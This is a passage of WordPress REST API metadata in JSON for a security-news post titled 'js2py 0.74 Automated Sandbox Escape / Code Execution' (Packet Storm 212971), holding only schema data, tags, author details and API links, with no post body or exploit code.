Execution_PACKETSTORM:212971","datePublished":"2025-12-18T10:44:55+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31876"},"wordCount":1405,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-5.3","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31876#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31876","url":"https:\/\/zero.redgem.net\/?p=31876","name":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-18T10:44:55+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31876#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31876"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31876#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31876"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31876\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}